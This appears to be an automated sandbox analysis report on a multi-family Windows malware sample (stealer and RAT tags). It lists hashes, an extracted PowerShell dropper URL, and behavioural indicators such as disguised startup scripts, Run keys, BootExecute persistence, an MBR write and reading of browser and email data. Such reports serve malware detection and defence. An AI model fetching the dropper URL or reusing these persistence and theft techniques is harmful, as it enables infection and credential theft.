Analysis
- max time kernel
150s - max time network
154s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
26/08/2026, 16:38
Static task
static1
2 signatures
Behavioral task
behavioral1
Sample
2026-08-25_96e6e6361ef0dba4e61fd88b628a187a_agent-tesla_amadey_icedid_luca-stealer_njrat.exe
Resource
win10v2004-20260513-en
windows10-2004-x64
40 signatures
150 seconds
Behavioral task
behavioral2
Sample
2026-08-25_96e6e6361ef0dba4e61fd88b628a187a_agent-tesla_amadey_icedid_luca-stealer_njrat.exe
Resource
win11ltsc2024-20260709-en
windows11-ltsc_2024-x64
36 signatures
150 seconds
General
- Target 2026-08-25_96e6e6361ef0dba4e61fd88b628a187a_agent-tesla_amadey_icedid_luca-stealer_njrat.exe
- Size 24.6MB
- Sample260826-t5wasaserc
- SHA256 137042c3c5fa04a3e80d5b569bde552d5a814925703046c1f6e91f4a4acf604e
- MD5 96e6e6361ef0dba4e61fd88b628a187a
- SHA1 5cf1f4cd0580768eea7e111e176a24c4370b9d53
- SHA512 bb895d47a23e230863538416a7ed862036663b070f790818c665a21856436e12a4ffb03aefaaeca653da3a49c1d1585c6908ee00574ee72a2d66fd1e096b5ac4
- SSDEEP 786432:IVXX7vgYnmTjii15Kp659pATyU/h5Mpu7VK42IF:IVn7MniGR59iTyShK+k42
- TLSH T11147330973A441DEFDA7D0768617C60BCAB67809533BD61F0A916B366F33B302A2D761
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Extracted
Language
-
ps1
Deobfuscated
Source
URLs
-
ps1.dropper
https://codeberg.org/sabifati2/2/raw/branch/main/ttmyheard.txt
Signatures
- UPX dump on OEP (original entry point) 5 IoCs
resource yara_rule behavioral2/files/0x000e00000001c615-621.dat UPX behavioral2/memory/1560-631-0x0000000000400000-0x000000000053B000-memory.dmp UPX behavioral2/memory/1560-1857-0x0000000000400000-0x000000000053B000-memory.dmp UPX behavioral2/memory/1560-2504-0x0000000000400000-0x000000000053B000-memory.dmp UPX behavioral2/memory/1560-3450-0x0000000000400000-0x000000000053B000-memory.dmp UPX - Badlisted process makes network request 64 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 8 5316 WScript.exe 9 3256 WScript.exe 10 5220 cscript.exe 11 5316 WScript.exe 12 5316 WScript.exe 13 5316 WScript.exe 14 3256 WScript.exe 15 5220 cscript.exe 16 5316 WScript.exe 17 5316 WScript.exe 18 5316 WScript.exe 19 3256 WScript.exe 20 5220 cscript.exe 21 5316 WScript.exe 22 5316 WScript.exe 23 5316 WScript.exe 25 3256 WScript.exe 26 5220 cscript.exe 27 5316 WScript.exe 28 5316 WScript.exe 29 5316 WScript.exe 30 5316 WScript.exe 31 3256 WScript.exe 32 5220 cscript.exe 33 5316 WScript.exe 34 5316 WScript.exe 35 5316 WScript.exe 36 3256 WScript.exe 37 5220 cscript.exe 38 5316 WScript.exe 39 5316 WScript.exe 40 5316 WScript.exe 41 3256 WScript.exe 42 5220 cscript.exe 43 5316 WScript.exe 44 5316 WScript.exe 45 5316 WScript.exe 46 3256 WScript.exe 47 5220 cscript.exe 48 5316 WScript.exe 49 5316 WScript.exe 50 5316 WScript.exe 51 5316 WScript.exe 52 3256 WScript.exe 53 5220 cscript.exe 54 4308 powershell.exe 55 5316 WScript.exe 56 5316 WScript.exe 57 5316 WScript.exe 58 3256 WScript.exe 59 5220 cscript.exe 60 5316 WScript.exe 61 5316 WScript.exe 62 5316 WScript.exe 63 3256 WScript.exe 64 5220 cscript.exe 65 5316 WScript.exe 66 5316 WScript.exe 67 5316 WScript.exe 68 3256 WScript.exe 69 5316 WScript.exe 70 5220 cscript.exe 71 5316 WScript.exe 72 5316 WScript.exe - Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
pid Process 3676 powershell.exe 4308 powershell.exe - Drops file in Drivers directory 1 IoCs
description ioc Process File created C:\Windows\System32\drivers\GUBootStartup.sys StartupManager.exe - Uses Session Manager for persistence 2 TTPs 1 IoCs
Creates Session Manager registry key to run executable early in system boot.
description ioc Process Set value (data) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Session Manager\BootExecute = 6100750074006f0063006800650063006b0020006100750074006f00630068006b0020002a00200000000000 DiskDefrag.exe - Creates a file in the Startup directory 1 TTPs 6 IoCs
A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.
description ioc Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\windowsdefender.js WScript.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Network.js cmd.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Network.js cmd.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\windowsdefender.js cscript.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dfl.vbs xcopy.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dfl.vbs xcopy.exe - Event Triggered Execution: Component Object Model Hijacking 1 TTPs
Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
- Executes dropped EXE 19 IoCs
pid Process 2308 p1.bin 5836 p2.bin 1560 setup.exe 5020 ~onrnkpk.tmp 2100 ~onrnkpk.tmp 4484 GUAssistComSvc.exe 264 DiskDefrag.exe 2384 StartupManager.exe 1508 GUBootService.exe 3132 GUPMService.exe 4616 procmgr.exe 1048 MemfilesService.exe 4500 GUBootService.exe 4436 GUBootStartup.sys 4316 GUPMService.exe 4568 Initialize.exe 1488 MemfilesService.exe 4680 MemfilesService.exe 2700 GUBootService.exe - Loads dropped DLL 64 IoCs
pid Process 2100 ~onrnkpk.tmp 2100 ~onrnkpk.tmp 2100 ~onrnkpk.tmp 2100 ~onrnkpk.tmp 4060 regsvr32.exe 5876 regsvr32.exe 4028 regsvr32.exe 264 DiskDefrag.exe 264 DiskDefrag.exe 264 DiskDefrag.exe 264 DiskDefrag.exe 264 DiskDefrag.exe 264 DiskDefrag.exe 264 DiskDefrag.exe 264 DiskDefrag.exe 264 DiskDefrag.exe 264 DiskDefrag.exe 2384 StartupManager.exe 2384 StartupManager.exe 2384 StartupManager.exe 2384 StartupManager.exe 2384 StartupManager.exe 2384 StartupManager.exe 2384 StartupManager.exe 2384 StartupManager.exe 2384 StartupManager.exe 2384 StartupManager.exe 2384 StartupManager.exe 2384 StartupManager.exe 2384 StartupManager.exe 2384 StartupManager.exe 2384 StartupManager.exe 2384 StartupManager.exe 2384 StartupManager.exe 4616 procmgr.exe 4616 procmgr.exe 4616 procmgr.exe 4616 procmgr.exe 4616 procmgr.exe 4616 procmgr.exe 4616 procmgr.exe 4616 procmgr.exe 1048 MemfilesService.exe 1048 MemfilesService.exe 4568 Initialize.exe 4568 Initialize.exe 4568 Initialize.exe 4568 Initialize.exe 4568 Initialize.exe 4568 Initialize.exe 4568 Initialize.exe 4568 Initialize.exe 4568 Initialize.exe 4568 Initialize.exe 4568 Initialize.exe 4568 Initialize.exe 4568 Initialize.exe 4568 Initialize.exe 4568 Initialize.exe 4568 Initialize.exe 4568 Initialize.exe 4568 Initialize.exe 4568 Initialize.exe 4568 Initialize.exe - Modifies system executable filetype association 2 TTPs 6 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\lnkfile\shellex\ContextMenuHandlers\Glary Utilities\ = "{B3C418F8-922B-4faf-915E-59BC14448CF7}" regsvr32.exe Key created \REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\lnkfile\shellex regsvr32.exe Set value (str) \REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\lnkfile\shellex\ regsvr32.exe Key created \REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\lnkfile\shellex\ContextMenuHandlers regsvr32.exe Set value (str) \REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\lnkfile\shellex\ContextMenuHandlers\ regsvr32.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\lnkfile\shellex\ContextMenuHandlers\Glary Utilities regsvr32.exe - Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Adds Run key to start application 2 TTPs 2 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Windows\CurrentVersion\Run\1ZUPIO0MNF = "\"C:\\ProgramData\\windowsdefender.js\"" WScript.exe Set value (str) \REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Windows\CurrentVersion\Run\1ZUPIO0MNF = "\"C:\\ProgramData\\windowsdefender.js\"" cscript.exe - Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
- Checks whether UAC is enabled 1 TTPs 2 IoCs
description ioc Process Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA procmgr.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA Initialize.exe - Enumerates connected drives 3 TTPs 1 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\F: DiskDefrag.exe - Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs
Bootkits write to the MBR to gain persistence at a level below the operating system.
description ioc Process File opened for modification \??\PhysicalDrive0 DiskDefrag.exe - AutoIT Executable 1 IoCs
AutoIT scripts compiled to PE executables.
resource yara_rule behavioral2/files/0x000c00000001c619-7.dat autoit_exe - Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs
pid Process 3680 WScript.exe -
resource yara_rule behavioral2/files/0x000e00000001c615-621.dat upx behavioral2/memory/1560-631-0x0000000000400000-0x000000000053B000-memory.dmp upx behavioral2/memory/1560-1857-0x0000000000400000-0x000000000053B000-memory.dmp upx behavioral2/memory/1560-2504-0x0000000000400000-0x000000000053B000-memory.dmp upx behavioral2/memory/1560-3450-0x0000000000400000-0x000000000053B000-memory.dmp upx - Drops file in Program Files directory 64 IoCs
description ioc Process File opened for modification C:\Program Files (x86)\Glary Utilities\Initialize.exe ~onrnkpk.tmp File opened for modification C:\Program Files (x86)\Glary Utilities\Native\win7_x64\BootDefrag.exe ~onrnkpk.tmp File created C:\Program Files (x86)\Glary Utilities\skins\default\DiskDefrag\is-TOTLL.tmp ~onrnkpk.tmp File created C:\Program Files (x86)\Glary Utilities\skins\default\main\is-FR7J5.tmp ~onrnkpk.tmp File created C:\Program Files (x86)\Glary Utilities\skins\default\Register\InnerBuyRSS\English\js\is-3A7AS.tmp ~onrnkpk.tmp File created C:\Program Files (x86)\Glary Utilities\languages\is-U7P5T.tmp ~onrnkpk.tmp File created C:\Program Files (x86)\Glary Utilities\languages\is-70NIA.tmp ~onrnkpk.tmp File created C:\Program Files (x86)\Glary Utilities\languages\is-FTJN7.tmp ~onrnkpk.tmp File created C:\Program Files (x86)\Glary Utilities\languages\is-1AT2C.tmp ~onrnkpk.tmp File created C:\Program Files (x86)\Glary Utilities\skins\default\main\is-9J68H.tmp ~onrnkpk.tmp File created C:\Program Files (x86)\Glary Utilities\skins\default\main\is-KFA8R.tmp ~onrnkpk.tmp File created C:\Program Files (x86)\Glary Utilities\skins\default\QuickSearch\is-D2OEF.tmp ~onrnkpk.tmp File created C:\Program Files (x86)\Glary Utilities\skins\default\QuickSearch\is-MET0L.tmp ~onrnkpk.tmp File created C:\Program Files (x86)\Glary Utilities\skins\default\StartupManager\is-6HURS.tmp ~onrnkpk.tmp File created C:\Program Files (x86)\Glary Utilities\skins\default\main\is-R4CAH.tmp ~onrnkpk.tmp File created C:\Program Files (x86)\Glary Utilities\skins\default\main\backimages\is-DENRK.tmp ~onrnkpk.tmp File created C:\Program Files (x86)\Glary Utilities\skins\default\main\skins\is-4MEOE.tmp ~onrnkpk.tmp File created C:\Program Files (x86)\Glary Utilities\skins\default\Register\is-SEUF1.tmp ~onrnkpk.tmp File created C:\Program Files (x86)\Glary Utilities\skins\default\Register\is-IT8VB.tmp ~onrnkpk.tmp File created C:\Program Files (x86)\Glary Utilities\languages\is-QLFPT.tmp ~onrnkpk.tmp File created C:\Program Files (x86)\Glary Utilities\x64\is-5D8TC.tmp ~onrnkpk.tmp File opened for modification C:\Program Files (x86)\Glary Utilities\UserPath.dll ~onrnkpk.tmp File created C:\Program Files (x86)\Glary Utilities\is-VPQNH.tmp ~onrnkpk.tmp File created C:\Program Files (x86)\Glary Utilities\skins\default\main\Icons\is-3J3TF.tmp ~onrnkpk.tmp File created C:\Program Files (x86)\Glary Utilities\skins\default\Register\is-LS4VL.tmp ~onrnkpk.tmp File created C:\Program Files (x86)\Glary Utilities\languages\is-11FM7.tmp ~onrnkpk.tmp File created C:\Program Files (x86)\Glary Utilities\languages\is-KDU14.tmp ~onrnkpk.tmp File opened for modification C:\Program Files (x86)\Glary Utilities\Native\wxp_x86\BootDefrag.exe ~onrnkpk.tmp File created C:\Program Files (x86)\Glary Utilities\skins\default\main\is-0IKKB.tmp ~onrnkpk.tmp File created C:\Program Files (x86)\Glary Utilities\skins\default\main\menu\is-J94HH.tmp ~onrnkpk.tmp File created C:\Program Files (x86)\Glary Utilities\languages\is-6S3MU.tmp ~onrnkpk.tmp File opened for modification C:\Program Files (x86)\Glary Utilities\procmgr.exe ~onrnkpk.tmp File created C:\Program Files (x86)\Glary Utilities\skins\default\main\Icons\is-EHLMK.tmp ~onrnkpk.tmp File created C:\Program Files (x86)\Glary Utilities\skins\default\QuickSearch\is-9BHCQ.tmp ~onrnkpk.tmp File created C:\Program Files (x86)\Glary Utilities\skins\default\StartupManager\is-CK3IC.tmp ~onrnkpk.tmp File created C:\Program Files (x86)\Glary Utilities\skins\default\Uninstaller\is-HBENH.tmp ~onrnkpk.tmp File created C:\Program Files (x86)\Glary Utilities\languages\is-NM28V.tmp ~onrnkpk.tmp File created C:\Program Files (x86)\Glary Utilities\skins\default\Register\about\is-F5677.tmp ~onrnkpk.tmp File created C:\Program Files (x86)\Glary Utilities\skins\default\StartupManager\is-4JFJK.tmp ~onrnkpk.tmp File created C:\Program Files (x86)\Glary Utilities\is-0VQB1.tmp ~onrnkpk.tmp File created C:\Program Files (x86)\Glary Utilities\Native\win10_x64\is-RMKLQ.tmp ~onrnkpk.tmp File created C:\Program Files (x86)\Glary Utilities\languages\is-VP7LR.tmp ~onrnkpk.tmp File created C:\Program Files (x86)\Glary Utilities\skins\default\StartupManager\is-V2CE8.tmp ~onrnkpk.tmp File created C:\Program Files (x86)\Glary Utilities\is-JVKSJ.tmp ~onrnkpk.tmp File created C:\Program Files (x86)\Glary Utilities\skins\default\main\Icons\is-37E4S.tmp ~onrnkpk.tmp File created C:\Program Files (x86)\Glary Utilities\skins\default\main\Icons\is-GCH26.tmp ~onrnkpk.tmp File created C:\Program Files (x86)\Glary Utilities\skins\default\Register\is-BL0OH.tmp ~onrnkpk.tmp File opened for modification C:\Program Files (x86)\Glary Utilities\LockDll.dll ~onrnkpk.tmp File created C:\Program Files (x86)\Glary Utilities\skins\default\DiskDefrag\is-RBOEC.tmp ~onrnkpk.tmp File created C:\Program Files (x86)\Glary Utilities\skins\default\main\is-ICG3V.tmp ~onrnkpk.tmp File created C:\Program Files (x86)\Glary Utilities\skins\default\main\menu\is-QGBCQ.tmp ~onrnkpk.tmp File created C:\Program Files (x86)\Glary Utilities\skins\default\Register\is-LPCI5.tmp ~onrnkpk.tmp File opened for modification C:\Program Files (x86)\Glary Utilities\Uninstaler.exe ~onrnkpk.tmp File created C:\Program Files (x86)\Glary Utilities\skins\default\main\Icons\is-G10LC.tmp ~onrnkpk.tmp File created C:\Program Files (x86)\Glary Utilities\skins\default\Register\InnerBuyRSS\English\images\is-JJRS6.tmp ~onrnkpk.tmp File created C:\Program Files (x86)\Glary Utilities\is-H7V2N.tmp ~onrnkpk.tmp File created C:\Program Files (x86)\Glary Utilities\skins\default\QuickSearch\is-8DIMF.tmp ~onrnkpk.tmp File created C:\Program Files (x86)\Glary Utilities\languages\is-K0BIR.tmp ~onrnkpk.tmp File created C:\Program Files (x86)\Glary Utilities\is-40C3H.tmp ~onrnkpk.tmp File created C:\Program Files (x86)\Glary Utilities\data\is-DSIQ0.tmp ~onrnkpk.tmp File created C:\Program Files (x86)\Glary Utilities\skins\default\main\is-FV2S0.tmp ~onrnkpk.tmp File created C:\Program Files (x86)\Glary Utilities\skins\default\Register\InnerBuyRSS\English\images\is-KJJCH.tmp ~onrnkpk.tmp File created C:\Program Files (x86)\Glary Utilities\is-VDJVM.tmp ~onrnkpk.tmp File created C:\Program Files (x86)\Glary Utilities\is-EIK1H.tmp ~onrnkpk.tmp - Command and Scripting Interpreter: JavaScript 1 TTPs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 1788 cmd.exe 4912 cmd.exe - System Location Discovery: System Language Discovery 1 TTPs 28 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language procmgr.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language GUBootService.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language regedit.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language WScript.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language WScript.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language regsvr32.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cscript.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language WScript.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language xcopy.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language regsvr32.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language DiskDefrag.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language GUPMService.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language schtasks.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Initialize.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language\InstallLanguage p1.bin Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language setup.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language ~onrnkpk.tmp Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language StartupManager.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language GUBootService.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language GUPMService.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language GUBootService.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language p1.bin Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language p1.bin Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language ~onrnkpk.tmp - Inno Setup is an open-source installation builder for Windows applications. 2 IoCs
Inno Setup installer
resource yara_rule behavioral2/files/0x0003000000008f2c-635.dat innosetup behavioral2/memory/5020-636-0x0000000000400000-0x0000000000417000-memory.dmp innosetup - Enumerates system info in registry 2 TTPs 1 IoCs
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier xcopy.exe - Modifies registry class 64 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.gfe\ = "GU.Encrypted" ~onrnkpk.tmp Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Folder\shellex regsvr32.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Folder\shellex\ContextMenuHandlers regsvr32.exe Key created \REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\lnkfile\shellex regsvr32.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\GRIDMAP_CTRL.GridMapCtrl.1\CLSID regsvr32.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{58B505BE-F589-4E8E-8BF2-B78E078CA8F7}\Control\ regsvr32.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{CC9859D6-F6D3-4DD5-B0B2-FD2130EC36AC}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}" GUBootService.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{DED4F83E-5A2C-4971-AA04-E57134816579}\TypeLib\ = "{A9299FDE-3941-4C37-949C-630BEBCA9BB9}" GUBootService.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\GU.Splitted\Shell ~onrnkpk.tmp Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{B3C418F8-922B-4faf-915E-59BC14448CF7} regsvr32.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{31FB3410-EA8B-4931-91C5-ADA7B91D953B}\TypeLib\ = "{35AE4004-4194-4243-92AA-351BB7239539}" regsvr32.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\GRIDMAP_CTRL.GridMapCtrl.1\ = "GridMap 控件" regsvr32.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{3DA5E31D-E553-4525-8AC5-EBD92B29A408}\1.0\0\win64 GUAssistComSvc.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{E2DA46AF-A5CD-47A5-B345-7764100E3F97}\ = "BootService Class" GUBootService.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{EADB8774-D17B-45F0-B661-8AA411CC2D15}\1.0 GUPMService.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\GUBootService.SessionStartup\CLSID\ = "{71F03427-4342-4D6F-B71A-C7320428EFEE}" GUBootService.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{B52C0F28-8D4C-4886-965C-0A772490064E}\1.0\HELPDIR\ = "C:\\Program Files (x86)\\Glary Utilities\\x64" regsvr32.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{28C97FA4-8378-42BF-A6F9-D615EB1272D7}\ProxyStubClsid32 regsvr32.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{E2DA46AF-A5CD-47A5-B345-7764100E3F97} GUBootService.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{31FB3410-EA8B-4931-91C5-ADA7B91D953B}\ProxyStubClsid32\ = "{00020420-0000-0000-C000-000000000046}" regsvr32.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\GUBootService.SessionStartup.1\CLSID\ = "{71F03427-4342-4D6F-B71A-C7320428EFEE}" GUBootService.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{DED4F83E-5A2C-4971-AA04-E57134816579}\ = "ISessionStartup" GUBootService.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\GU.Encrypted\DefaultIcon\ = "C:\\Program Files (x86)\\Glary Utilities\\fileencrypt.exe,0" ~onrnkpk.tmp Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{B3C418F8-922B-4faf-915E-59BC14448CF7}\TypeLib regsvr32.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{35AE4004-4194-4243-92AA-351BB7239539}\1.0\FLAGS\ = "2" regsvr32.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{28C97FA4-8378-42BF-A6F9-D615EB1272D7}\TypeLib regsvr32.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{EADB8774-D17B-45F0-B661-8AA411CC2D15}\1.0\ = "GUPMService 1.0 ÀàÐÍ¿â" GUPMService.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{71F03427-4342-4D6F-B71A-C7320428EFEE}\ProgID\ = "GUBootService.SessionStartup.1" GUBootService.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{71F03427-4342-4D6F-B71A-C7320428EFEE}\TypeLib GUBootService.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{28C97FA4-8378-42BF-A6F9-D615EB1272D7}\TypeLib\Version = "1.0" regsvr32.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{3DA5E31D-E553-4525-8AC5-EBD92B29A408}\1.0\HELPDIR GUAssistComSvc.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{71F03427-4342-4D6F-B71A-C7320428EFEE}\ = "SessionStartup Class" GUBootService.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{A9299FDE-3941-4C37-949C-630BEBCA9BB9}\1.0\ = "GUBootService 1.0 ÀàÐÍ¿â" GUBootService.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\GUBootService.SessionStartup\CurVer\ = "GUBootService.SessionStartup.1" GUBootService.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.gfs ~onrnkpk.tmp Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{28C97FA4-8378-42BF-A6F9-D615EB1272D7}\ = "_DGridMap_Ctrl" regsvr32.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{58B505BE-F589-4E8E-8BF2-B78E078CA8F7}\InprocServer32 regsvr32.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{3DA5E31D-E553-4525-8AC5-EBD92B29A408}\1.0\0\win64\ = "C:\\Program Files (x86)\\Glary Utilities\\x64\\GUAssistComSvc.exe" GUAssistComSvc.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\GUBootService.BootService.1\CLSID GUBootService.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{71F03427-4342-4D6F-B71A-C7320428EFEE}\Programmable GUBootService.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\GU.Splitted\DefaultIcon ~onrnkpk.tmp Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\GUAssistComSvc.GUShellLink\CLSID\ = "{D6544943-452E-404F-9B94-93E27E656D85}" GUAssistComSvc.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{D6544943-452E-404F-9B94-93E27E656D85}\TypeLib\ = "{3DA5E31D-E553-4525-8AC5-EBD92B29A408}" GUAssistComSvc.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{3DA5E31D-E553-4525-8AC5-EBD92B29A408}\1.0\ = "GUAssistComSvc 1.0 ÀàÐÍ¿â" GUAssistComSvc.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{E2DA46AF-A5CD-47A5-B345-7764100E3F97}\TypeLib GUBootService.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\GUBootService.SessionStartup.1 GUBootService.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\GUBootService.SessionStartup GUBootService.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{EADB8774-D17B-45F0-B661-8AA411CC2D15}\1.0\0 GUPMService.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\GU.Splitted\Shell\Open ~onrnkpk.tmp Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{31FB3410-EA8B-4931-91C5-ADA7B91D953B}\TypeLib\Version = "1.0" regsvr32.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\GUAssistComSvc.GUShellLink.1\CLSID\ = "{D6544943-452E-404F-9B94-93E27E656D85}" GUAssistComSvc.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{D6544943-452E-404F-9B94-93E27E656D85}\ProgID GUAssistComSvc.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{F10E0193-E389-4E51-BDD8-D3DAF5F63851}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}" GUAssistComSvc.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{71F03427-4342-4D6F-B71A-C7320428EFEE}\VersionIndependentProgID GUBootService.exe 